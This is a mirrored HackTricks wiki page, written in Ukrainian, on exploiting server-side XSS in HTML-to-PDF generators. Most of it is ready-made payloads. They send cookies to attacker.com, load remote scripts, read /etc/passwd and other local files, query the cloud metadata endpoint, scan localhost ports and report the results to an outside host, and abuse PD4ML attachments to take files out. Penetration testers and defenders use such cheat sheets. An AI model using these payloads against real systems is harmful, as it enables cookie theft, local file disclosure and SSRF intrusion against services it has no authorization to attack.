mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
191 lines
12 KiB
Markdown
191 lines
12 KiB
Markdown
# Server Side XSS (Dynamic PDF)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Server Side XSS (Dynamic PDF)
|
||
|
||
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\
|
||
Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||
|
||
Зверніть увагу, що теги `<script></script>` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням `<img` ).\
|
||
Також зауважте, що під час звичайної експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий).
|
||
|
||
### Популярна генерація PDF
|
||
|
||
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна утиліта командного рядка, що робить його доступним для широкого спектра застосувань.
|
||
- **TCPDF** пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.
|
||
- Для тих, хто працює в середовищі Node.js, **PDFKit** є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
|
||
- Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її комплексний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
|
||
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF без необхідності в розширених функціях.
|
||
|
||
## Payloads
|
||
|
||
### Discovery
|
||
```html
|
||
<!-- Basic discovery, Write something-->
|
||
<img src="x" onerror="document.write('test')" />
|
||
<script>document.write(JSON.stringify(window.location))</script>
|
||
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||
|
||
<!--Basic blind discovery, load a resource-->
|
||
<img src="http://attacker.com"/>
|
||
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||
<link rel=attachment href="http://attacker.com">
|
||
|
||
<!-- Using base HTML tag -->
|
||
<base href="http://attacker.com" />
|
||
|
||
<!-- Loading external stylesheet -->
|
||
<link rel="stylesheet" src="http://attacker.com" />
|
||
|
||
<!-- Meta-tag to auto-refresh page -->
|
||
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
||
|
||
<!-- Loading external components -->
|
||
<input type="image" src="http://attacker.com" />
|
||
<video src="http://attacker.com" />
|
||
<audio src="http://attacker.com" />
|
||
<audio><source src="http://attacker.com"/></audio>
|
||
<svg src="http://attacker.com" />
|
||
```
|
||
### SVG
|
||
|
||
Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і інший, що отримує доступ до кінцевої точки метаданих, наведені як приклади.
|
||
```html
|
||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||
<g>
|
||
<foreignObject width="800" height="500">
|
||
<body xmlns="http://www.w3.org/1999/xhtml">
|
||
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
||
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
||
</body>
|
||
</foreignObject>
|
||
</g>
|
||
</svg>
|
||
|
||
|
||
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
||
xmlns="http://www.w3.org/2000/svg">
|
||
<circle cx="50" cy="50" r="45" fill="green"
|
||
id="foo"/>
|
||
<script type="text/javascript">
|
||
// <![CDATA[
|
||
alert(1);
|
||
// ]]>
|
||
</script>
|
||
</svg>
|
||
```
|
||
Ви можете знайти багато **інших SVG payloads** в [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||
|
||
### Розкриття шляху
|
||
```html
|
||
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||
if not, you will at least have wich path the bot is accessing -->
|
||
<img src="x" onerror="document.write(window.location)" />
|
||
<script> document.write(window.location) </script>
|
||
```
|
||
### Завантажити зовнішній скрипт
|
||
|
||
Найкращий спосіб використати цю вразливість - зловживати нею, щоб змусити бота завантажити скрипт, який ви контролюєте локально. Тоді ви зможете змінювати корисне навантаження локально і змусити бота завантажувати його з тим самим кодом щоразу.
|
||
```html
|
||
<script src="http://attacker.com/myscripts.js"></script>
|
||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||
```
|
||
### Читання локального файлу / SSRF
|
||
|
||
> [!WARNING]
|
||
> Змініть `file:///etc/passwd` на `http://169.254.169.254/latest/user-data`, наприклад, щоб **спробувати отримати доступ до зовнішньої веб-сторінки (SSRF)**.
|
||
>
|
||
> Якщо SSRF дозволено, але ви **не можете досягти** цікавого домену або IP, [перевірте цю сторінку на предмет потенційних обходів](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||
```html
|
||
<script>
|
||
x=new XMLHttpRequest;
|
||
x.onload=function(){document.write(btoa(this.responseText))};
|
||
x.open("GET","file:///etc/passwd");x.send();
|
||
</script>
|
||
```
|
||
|
||
```html
|
||
<script>
|
||
xhzeem = new XMLHttpRequest();
|
||
xhzeem.onload = function(){document.write(this.responseText);}
|
||
xhzeem.onerror = function(){document.write('failed!')}
|
||
xhzeem.open("GET","file:///etc/passwd");
|
||
xhzeem.send();
|
||
</script>
|
||
```
|
||
|
||
```html
|
||
<iframe src=file:///etc/passwd></iframe>
|
||
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||
<link rel=attachment href="file:///root/secret.txt">
|
||
<object data="file:///etc/passwd">
|
||
<portal src="file:///etc/passwd" id=portal>
|
||
<embed src="file:///etc/passwd>" width="400" height="400">
|
||
<style><iframe src="file:///etc/passwd">
|
||
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||
```
|
||
|
||
```html
|
||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||
```
|
||
### Затримка бота
|
||
```html
|
||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||
<script>
|
||
let time = 500;
|
||
setInterval(()=>{
|
||
let img = document.createElement("img");
|
||
img.src = `https://attacker.com/ping?time=${time}ms`;
|
||
time += 500;
|
||
}, 500);
|
||
</script>
|
||
<img src="https://attacker.com/delay">
|
||
```
|
||
### Сканування портів
|
||
```html
|
||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||
<script>
|
||
const checkPort = (port) => {
|
||
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
||
let img = document.createElement("img");
|
||
img.src = `http://attacker.com/ping?port=${port}`;
|
||
});
|
||
}
|
||
|
||
for(let i=0; i<1000; i++) {
|
||
checkPort(i);
|
||
}
|
||
</script>
|
||
<img src="https://attacker.com/startingScan">
|
||
```
|
||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
||
|
||
Ця вразливість може бути дуже легко перетворена в SSRF (оскільки ви можете змусити скрипт завантажувати зовнішні ресурси). Тож просто спробуйте експлуатувати це (прочитати деякі метадані?).
|
||
|
||
### Attachments: PD4ML
|
||
|
||
Існують деякі HTML 2 PDF движки, які дозволяють **вказувати вкладення для PDF**, такі як **PD4ML**. Ви можете зловживати цією функцією, щоб **додати будь-який локальний файл** до PDF.\
|
||
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі натиснув на символ скріпки**, щоб **зберегти вкладення** як новий файл.\
|
||
Перехоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF.
|
||
```html
|
||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||
<html>
|
||
<pd4ml:attachment
|
||
src="/etc/passwd"
|
||
description="attachment sample"
|
||
icon="Paperclip" />
|
||
</html>
|
||
```
|
||
## Посилання
|
||
|
||
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|